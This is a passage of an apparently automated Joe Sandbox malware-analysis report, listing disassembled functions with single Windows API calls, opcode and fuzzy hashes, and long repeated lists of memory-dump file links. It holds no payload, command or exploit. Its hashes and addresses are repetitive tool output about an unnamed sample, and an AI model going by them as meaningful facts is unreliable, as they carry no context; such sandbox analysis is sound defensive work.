Associated: 00000000.00000002.2174244742.00000000012A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174267174.00000000012AB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174295831.00000000012B8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174319547.00000000012B9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fb0000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 2a72b554f1de0071d786eb4164d4fa31674e32f34afb6c6f25d35a0d33b0df34
Instruction ID: e876ed329fb29cb9463acc11dbdba8035e86835ffd2a3091ecd64a556eab52aa
Opcode Fuzzy Hash: 2a72b554f1de0071d786eb4164d4fa31674e32f34afb6c6f25d35a0d33b0df34
Instruction Fuzzy Hash: 37219E317402019BEB18AB6DEC89BECB7A1EFD1320F24421DE404DB6D4D77A4580EB12

Function 00FB7D30 Relevance: 1.9, APIs: 1, Instructions: 426
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetNativeSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00FB7ED3

Memory Dump Source

Source File: 00000000.00000002.2172859499.0000000000FB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000000.00000002.2172833223.0000000000FB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2172859499.0000000001012000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2172945697.0000000001019000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2172965613.000000000101B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2172986144.0000000001025000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173006327.0000000001026000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173031775.0000000001027000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173154677.000000000117D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173177073.0000000001180000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173199376.000000000118E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173199376.000000000119C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173254094.00000000011A0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173276054.00000000011A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173295281.00000000011A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173314298.00000000011A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173336144.00000000011AE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173354350.00000000011AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173379807.00000000011B0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173400052.00000000011B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173426304.00000000011CC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173447328.00000000011CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173476322.00000000011CF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173500802.00000000011D0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173521014.00000000011D7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173540689.00000000011E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173570847.00000000011FE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173591657.00000000011FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173615771.0000000001200000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173640446.0000000001207000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173661569.0000000001208000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173682911.000000000120C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173703949.0000000001219000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173723604.000000000121B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173745809.000000000121C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173764733.000000000121F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173810269.0000000001228000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173832693.0000000001230000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173863808.0000000001237000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173885011.0000000001239000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173917976.0000000001269000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174131778.000000000126A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174131778.0000000001275000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174181867.00000000012A1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174203476.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174223114.00000000012A4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174244742.00000000012A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174267174.00000000012AB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174295831.00000000012B8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174319547.00000000012B9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fb0000_file.jbxd

Yara matches

Similarity

API ID: InfoNativeSystem
String ID:
API String ID: 1721193555-0
Opcode ID: 635e36db23f0a75e84542c7859c1f04c46799f78f54ddb5da49512fdb0628ab5
Instruction ID: 5b8213361199837e39c6c233ddda4d4ef56d4e56fe80c8db27c840d154dfcd07
Opcode Fuzzy Hash: 635e36db23f0a75e84542c7859c1f04c46799f78f54ddb5da49512fdb0628ab5
Instruction Fuzzy Hash: D9E12971E002449BCF25BB2ACD477DD7A62AB81720F94429CE4556B3C2DB3D5E81AFC2

Function 00FED82F Relevance: 1.5, APIs: 1, Instructions: 40
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000008,?,00000000,?,00FEA813,00000001,00000364,00000006,000000FF,?,00FEEE3F,?,00000004,00000000,?,?), ref: 00FED870

Memory Dump Source

Source File: 00000000.00000002.2172859499.0000000000FB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000000.00000002.2172833223.0000000000FB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2172859499.0000000001012000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2172945697.0000000001019000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2172965613.000000000101B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2172986144.0000000001025000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173006327.0000000001026000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173031775.0000000001027000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173154677.000000000117D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173177073.0000000001180000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173199376.000000000118E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173199376.000000000119C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173254094.00000000011A0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173276054.00000000011A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173295281.00000000011A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173314298.00000000011A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173336144.00000000011AE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173354350.00000000011AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173379807.00000000011B0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173400052.00000000011B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173426304.00000000011CC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173447328.00000000011CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173476322.00000000011CF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173500802.00000000011D0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173521014.00000000011D7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173540689.00000000011E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173570847.00000000011FE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173591657.00000000011FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173615771.0000000001200000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173640446.0000000001207000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173661569.0000000001208000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173682911.000000000120C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173703949.0000000001219000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173723604.000000000121B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173745809.000000000121C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173764733.000000000121F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173810269.0000000001228000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173832693.0000000001230000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173863808.0000000001237000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173885011.0000000001239000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173917976.0000000001269000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174131778.000000000126A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174131778.0000000001275000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174181867.00000000012A1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174203476.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174223114.00000000012A4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174244742.00000000012A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174267174.00000000012AB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174295831.00000000012B8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174319547.00000000012B9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fb0000_file.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: c5f7664d1a6c9a09a2fc5764095ba3101005ddac0c9f7c937f974d3674132bb7
Instruction ID: 2b6365c7a7e6c2c6326801c23f1161dfec8d35524664dc4d95467ded7413330e
Opcode Fuzzy Hash: c5f7664d1a6c9a09a2fc5764095ba3101005ddac0c9f7c937f974d3674132bb7
Instruction Fuzzy Hash: 9BF02E32A462F466EB313A739C01B5B3759DF41770B188021FC48E7981DE25EE01B2E1

Function 00FB87B2 Relevance: 1.5, APIs: 1, Instructions: 14COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(?,00FBDA1D,?,?,?,?), ref: 00FB87B9

Memory Dump Source

Source File: 00000000.00000002.2172859499.0000000000FB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000000.00000002.2172833223.0000000000FB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2172859499.0000000001012000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2172945697.0000000001019000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2172965613.000000000101B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2172986144.0000000001025000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173006327.0000000001026000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173031775.0000000001027000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173154677.000000000117D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173177073.0000000001180000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173199376.000000000118E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173199376.000000000119C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173254094.00000000011A0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173276054.00000000011A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173295281.00000000011A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173314298.00000000011A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173336144.00000000011AE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173354350.00000000011AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173379807.00000000011B0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173400052.00000000011B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173426304.00000000011CC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173447328.00000000011CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173476322.00000000011CF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173500802.00000000011D0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173521014.00000000011D7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173540689.00000000011E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173570847.00000000011FE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173591657.00000000011FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173615771.0000000001200000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173640446.0000000001207000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173661569.0000000001208000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173682911.000000000120C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173703949.0000000001219000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173723604.000000000121B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173745809.000000000121C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173764733.000000000121F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173810269.0000000001228000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173832693.0000000001230000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173863808.0000000001237000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173885011.0000000001239000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173917976.0000000001269000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174131778.000000000126A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174131778.0000000001275000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174181867.00000000012A1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174203476.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174223114.00000000012A4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174244742.00000000012A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174267174.00000000012AB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174295831.00000000012B8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174319547.00000000012B9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fb0000_file.jbxd

Yara matches

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 6614c8676f09d1a3a56dd9dd8994d59fa5a3dfc31805f2ad41efaba83061d4d7
Instruction ID: 266e64b3aefc4c3af9de1a36f7e744968cb33ce2ccdef7cf22e694ddfd0a99ca
Opcode Fuzzy Hash: 6614c8676f09d1a3a56dd9dd8994d59fa5a3dfc31805f2ad41efaba83061d4d7
Instruction Fuzzy Hash: 28C08C2801160005EE1C153980A88E9334D59CB7FC3F41BC4E4715B5E1CE355887FE10

Function 00FB87B0 Relevance: 1.5, APIs: 1, Instructions: 12COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(?,00FBDA1D,?,?,?,?), ref: 00FB87B9

Memory Dump Source

Source File: 00000000.00000002.2172859499.0000000000FB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000000.00000002.2172833223.0000000000FB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2172859499.0000000001012000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2172945697.0000000001019000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2172965613.000000000101B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2172986144.0000000001025000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173006327.0000000001026000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173031775.0000000001027000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173154677.000000000117D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173177073.0000000001180000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173199376.000000000118E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173199376.000000000119C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173254094.00000000011A0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173276054.00000000011A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173295281.00000000011A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173314298.00000000011A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173336144.00000000011AE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173354350.00000000011AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173379807.00000000011B0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173400052.00000000011B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173426304.00000000011CC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173447328.00000000011CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173476322.00000000011CF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173500802.00000000011D0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173521014.00000000011D7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173540689.00000000011E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173570847.00000000011FE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173591657.00000000011FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173615771.0000000001200000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173640446.0000000001207000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173661569.0000000001208000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173682911.000000000120C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173703949.0000000001219000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173723604.000000000121B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173745809.000000000121C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173764733.000000000121F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173810269.0000000001228000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173832693.0000000001230000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173863808.0000000001237000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173885011.0000000001239000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173917976.0000000001269000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174131778.000000000126A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174131778.0000000001275000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174181867.00000000012A1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174203476.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174223114.00000000012A4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174244742.00000000012A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174267174.00000000012AB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174295831.00000000012B8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174319547.00000000012B9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fb0000_file.jbxd

Yara matches

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 7d0c570f2c41569d11e8ef16b3af6feba7787cb8214488dd26b60f8e3636434b
Instruction ID: 87cb135d9924a5df9e6c5c69b4356b01c8a2c774267841a534689246028609a2
Opcode Fuzzy Hash: 7d0c570f2c41569d11e8ef16b3af6feba7787cb8214488dd26b60f8e3636434b
Instruction Fuzzy Hash: A2C08C3801120046EB1C5A3990A88E9330DAE877BC3F00B88E4325B5E1CF32C483EEA0

Function 00FBB1A0 Relevance: 1.5, APIs: 1, Instructions: 244COMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 00FBB3C8

Memory Dump Source

Source File: 00000000.00000002.2172859499.0000000000FB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000000.00000002.2172833223.0000000000FB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2172859499.0000000001012000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2172945697.0000000001019000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2172965613.000000000101B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2172986144.0000000001025000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173006327.0000000001026000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173031775.0000000001027000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173154677.000000000117D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173177073.0000000001180000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173199376.000000000118E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173199376.000000000119C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173254094.00000000011A0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173276054.00000000011A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173295281.00000000011A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173314298.00000000011A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173336144.00000000011AE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173354350.00000000011AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173379807.00000000011B0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173400052.00000000011B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173426304.00000000011CC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173447328.00000000011CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173476322.00000000011CF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173500802.00000000011D0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173521014.00000000011D7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173540689.00000000011E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173570847.00000000011FE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173591657.00000000011FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173615771.0000000001200000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173640446.0000000001207000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173661569.0000000001208000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173682911.000000000120C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173703949.0000000001219000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173723604.000000000121B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173745809.000000000121C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173764733.000000000121F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173810269.0000000001228000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173832693.0000000001230000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173863808.0000000001237000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173885011.0000000001239000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173917976.0000000001269000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174131778.000000000126A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174131778.0000000001275000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174181867.00000000012A1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174203476.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174223114.00000000012A4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174244742.00000000012A9000.00000040.00000001.01000000.00000003.sdmpDownload File
